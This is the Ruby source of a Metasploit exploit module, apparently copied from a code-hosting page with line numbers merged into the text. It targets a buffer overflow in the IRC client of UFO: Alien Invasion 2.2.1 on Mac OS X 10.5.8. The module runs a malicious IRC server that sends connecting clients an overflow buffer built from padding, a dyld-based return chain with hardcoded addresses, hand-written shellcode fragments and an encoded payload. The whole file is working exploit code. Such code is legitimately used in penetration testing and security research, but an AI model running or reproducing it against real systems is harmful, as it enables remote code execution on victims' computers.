Path: blob/master/modules/exploits/osx/misc/ufo_ai.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::TcpServer910def initialize(info = {})11super(12update_info(13info,14'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow',15'Description' => %q{16This module exploits a buffer overflow in the IRC client component17of UFO: Alien Invasion 2.2.1.18},19'Author' => [20'Jason Geffner', # Original Windows PoC Author21'dookie' # OSX Exploit Author22],23'License' => MSF_LICENSE,24'References' => [25[ 'OSVDB', '65689' ],26[ 'EDB', '14013' ]27],28'Payload' => {29'Space' => 400,30'BadChars' => "\x00\x0a\x0d",31'MaxNops' => 0,32'StackAdjustment' => -3500,33},34'Platform' => 'osx',35'Targets' => [36[37'Mac OS X 10.5.8 x86, UFOAI 2.2.1',38{39'Arch' => ARCH_X86,40'Offset' => 524,41'Writable' => 0x8fe66448, # dyld __IMPORT42# The rest of these addresses are in dyld __TEXT43'setjmp' => 0x8fe1cf38,44'strdup' => 0x8fe210dc,45'jmp_eax' => 0x8fe0104146}47]48],49'DefaultTarget' => 0,50'DisclosureDate' => '2009-10-28',51'Notes' => {52'Reliability' => UNKNOWN_RELIABILITY,53'Stability' => UNKNOWN_STABILITY,54'SideEffects' => UNKNOWN_SIDE_EFFECTS55}56)57)5859register_options(60[61OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),62]63)64end6566def make_exec_payload_from_heap_stub()67frag0 =68"\x90" + # nop69"\x58" + # pop eax70"\x61" + # popa71"\xc3" # ret7273frag1 =74"\x90" + # nop75"\x58" + # pop eax76"\x89\xe0" + # mov eax, esp77"\x83\xc0\x0c" + # add eax, byte +0xc78"\x89\x44\x24\x08" + # mov [esp+0x8], eax79"\xc3" # ret8081setjmp = target['setjmp']82writable = target['Writable']83strdup = target['strdup']84jmp_eax = target['jmp_eax']8586exec_payload_from_heap_stub =87frag0 +88[setjmp].pack('V') +89[writable + 32, writable].pack("V2") +90frag1 +91"X" * 20 +92[setjmp].pack('V') +93[writable + 24, writable, strdup, jmp_eax].pack("V4") +94"X" * 495end9697def on_client_connect(client)98print_status("Got client connection...")99100offset = target['Offset']101102buffer = "001 :"103buffer << rand_text_alpha_upper(offset)104buffer << make_exec_payload_from_heap_stub()105buffer << make_nops(16)106buffer << payload.encoded107buffer << "\x0d\x0a"108109print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")110client.put(buffer)111end112end113114115